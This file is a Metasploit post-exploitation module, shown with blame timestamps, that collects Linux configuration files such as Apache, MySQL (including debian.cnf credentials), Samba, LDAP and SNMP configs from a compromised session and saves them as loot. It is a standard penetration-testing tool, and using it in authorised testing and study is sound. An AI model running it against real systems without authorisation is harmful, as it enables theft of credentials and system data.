Files
metasploit-gs/modules/post/linux/gather/enum_configs.rb
T

69 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2014-02-14 08:32:21 -06:00
include Msf::Post::Linux::System
2018-12-06 13:06:50 +00:00
def initialize(info = {})
2013-09-05 13:41:25 -05:00
super( update_info( info,
'Name' => 'Linux Gather Configurations',
'Description' => %q{
This module collects configuration files found on commonly installed
applications and services, such as Apache, MySQL, Samba, Sendmail, etc.
If a config file is found in its default path, the module will assume
that is the file we want.
},
'License' => MSF_LICENSE,
'Author' =>
[
'ohdae <bindshell[at]live.com>',
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
2013-09-05 13:41:25 -05:00
))
end
2013-08-30 16:28:54 -05:00
def run
distro = get_sysinfo
2012-03-17 03:14:26 -05:00
2018-12-06 13:06:50 +00:00
print_status "Running module against #{session.session_host} [#{get_hostname}]"
print_status 'Info:'
print_status "\t#{distro[:version]}"
print_status "\t#{distro[:kernel]}"
vprint_status 'Finding configuration files...'
2013-08-30 16:28:54 -05:00
find_configs
end
2018-12-06 13:06:50 +00:00
def save(file, data, ctype='text/plain')
ltype = 'linux.enum.conf'
2013-08-30 16:28:54 -05:00
fname = ::File.basename(file)
loot = store_loot(ltype, ctype, session, data, fname)
2018-12-06 13:06:50 +00:00
print_good("#{fname} stored in #{loot}")
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def find_configs
2018-12-06 13:06:50 +00:00
configs = [
2013-08-30 16:28:54 -05:00
"/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf",
"/etc/snort/snort.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf",
"/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells",
"/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf",
"/etc/gated.conf", "/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf",
"/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf",
"/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf",
"/etc/cups/cups.conf", "/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf",
"/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf",
"/etc/snmp/snmp.conf"
]
2013-08-30 16:28:54 -05:00
configs.each do |f|
2018-12-06 13:06:50 +00:00
output = read_file(f).to_s
next if output.strip.length == 0
next if output =~ /No such file or directory/
save(f, output)
2013-08-30 16:28:54 -05:00
end
end
2012-03-18 00:07:27 -05:00
end